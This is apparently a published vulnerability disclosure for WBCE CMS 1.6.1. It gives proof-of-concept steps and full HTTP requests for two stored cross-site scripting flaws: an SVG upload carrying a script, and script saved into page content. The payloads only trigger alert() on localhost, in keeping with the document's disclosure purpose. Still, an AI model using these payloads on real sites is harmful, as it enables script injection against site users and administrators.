WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting Vulnerability

Exploit Title: WBCE CMS 1.6.1 - Multiple Stored Cross-Site Scripting (XSS)
Version: 1.6.1
Bugs:  XSS
Technology: PHP
Vendor URL: https://wbce-cms.org/
Software Link: https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
Date of found: 03-05-2023
Author: Mirabbas Ağalarov
Tested on: Linux 


2. Technical Details & POC
========================================
###XSS-1###
steps: 

1. Go to media (http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/)
2. upload malicious svg file

svg file content ===>

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>


poc request:

POST /WBCE_CMS-1.6.1/wbce/modules/elfinder/ef/php/connector.wbce.php HTTP/1.1
Host: localhost
Content-Length: 976
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-platform: "Linux"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5u4r3pOGl4EnuBtO
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/media/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060167
Connection: close

------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="reqid"

187de34ea92ac
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="cmd"

upload
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="target"

l1_Lw
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
      alert(document.location);
   </script>
</svg>
------WebKitFormBoundary5u4r3pOGl4EnuBtO
Content-Disposition: form-data; name="mtime[]"

1683056102
------WebKitFormBoundary5u4r3pOGl4EnuBtO--


3. go to svg file (http://localhost/WBCE_CMS-1.6.1/wbce/media/SVG_XSS.svg)



========================================================================================================================

###XSS-2###

1. go to pages  (http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages)
2. add page
3. write page source content <script>alert(4)</script> (%3Cscript%3Ealert%284%29%3C%2Fscript%3E)
payload: %3Cscript%3Ealert%284%29%3C%2Fscript%3E
poc request:

POST /WBCE_CMS-1.6.1/wbce/modules/wysiwyg/save.php HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/WBCE_CMS-1.6.1/wbce/admin/pages/modify.php?page_id=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23; phpsessid-6361-sid=nnjmhia5hkt0h6qi9lumt95t9u; WBCELastConnectJS=1683060475
Connection: close

page_id=4&section_id=4&formtoken=6071e516-6ea84938ea2e60b811895c9072c4416ab66ae07f&content4=%3Cscript%3Ealert%284%29%3C%2Fscript%3E&modify=Save


4. view pages http://localhost/WBCE_CMS-1.6.1/wbce/pages/hello.php